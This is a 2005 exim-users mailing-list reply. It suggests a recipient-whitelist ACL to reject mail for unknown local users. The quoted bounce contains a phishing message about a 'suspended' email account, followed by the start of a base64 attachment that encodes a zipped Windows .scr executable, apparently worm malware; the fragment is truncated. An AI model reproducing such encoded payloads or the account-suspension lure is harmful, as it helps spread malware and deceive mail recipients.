Re: [exim] spoof...

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Auteur: Martin Hepworth
Date:  
À: Ryan Kerwin Macrohon
CC: exim-users
Sujet: Re: [exim] spoof...
Ryan

easiest way is to create a list that can be looked up so you exim will
only allow valid users to recieve email.

I use a cdb lookup, but an lsearch lookup will work just fine for a list
with a couple of hundred accounts..

my ACL (in acl_check_rcpt:) looks like this..

   accept  domains       = +check_rcpt_domains
           endpass
           message       = user unknown
           recipients    = cdb;/usr/local/etc/exim/whitelist.cdb


--
Martin Hepworth
Snr Systems Administrator
Solid State Logic
Tel: +44 (0)1865 842300


Ryan Kerwin Macrohon wrote:
> Ive been receiving emails that sends mails to different users that are not users on my domain...how do i prevent this?
>
>
>
> In this example,fred is not an account in my domain..
>
>
> Thanks guys!!!!
>
>
>
> This message was created automatically by mail delivery software.
>
> A message that you sent could not be delivered to one or more of its
> recipients. This is a permanent error. The following address(es) failed:
>
>   fred@???
>     Unrouteable address

>
> ------ This is a copy of the message, including all the headers. ------
>
> Return-path: <mail@???>
> Received: from amavis by server1.hitachi-himap.com.ph with scanned-ok (Exim 4.14 #1 (OpenNA Linux))
> id 1DbeJZ-0004Sh-WF
> for <fred@???>; Fri, 27 May 2005 17:51:49 +0500
> Received: from [222.126.0.180] (helo=hitachi-himap.com.ph)
> by server1.hitachi-himap.com.ph with esmtp (Exim 4.14 #1 (OpenNA Linux))
> id 1DbeJY-0008Nx-FA
> for <fred@???>; Fri, 27 May 2005 17:51:48 +0500
> From: mail@???
> To: fred@???
> Subject: Your Email Account is Suspended For Security Reasons
> Date: Fri, 27 May 2005 10:53:44 +0900
> MIME-Version: 1.0
> Content-Type: multipart/mixed;
> boundary="----=_NextPart_000_0007_614E5ABB.4814C5F9"
> X-Priority: 3
> X-MSMail-Priority: Normal
> Message-Id: <E1DbeJY-0008Nx-FA@???>
> X-Virus-Scanned: by AMaViS perl-11
>
> This is a multi-part message in MIME format.
>
> ------=_NextPart_000_0007_614E5ABB.4814C5F9
> Content-Type: text/plain;
> charset="Windows-1252"
> Content-Transfer-Encoding: 7bit
>
> Account Information Are Attached!
>
>
> ------=_NextPart_000_0007_614E5ABB.4814C5F9
> Content-Type: application/octet-stream;
> name="email-info.zip"
> Content-Transfer-Encoding: base64
> Content-Disposition: attachment;
> filename="email-info.zip"
>
> UEsDBAoAAAAAALYOuzKdfF9qbnMAAG5zAAAOAAAAZW1haWwtaW5mby5zY3JNWgAAAAAAAAAAAABQ
> RQAATAECAAAAAAAAAAAAAAAAAOAADwELAQAAAAIAAAAAAAAAAAAAVeEBAAAQAAAMAAAAAABAAAAQ
> AAAAAgAABAAAAAAAAAAEAAAAAAAAAADQAgAAAgAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAA
> ABAAAAAAAAAAAAAAAFrhAQAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAE1FVwBGEtLDAGABAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAA
> AMAC0nXbihbr1ABgAQAAcAEAbnEAAAACAAAAAAAAAAAAAAAAAADgAADAvhxwQQCL3q2tUK2XsoCk
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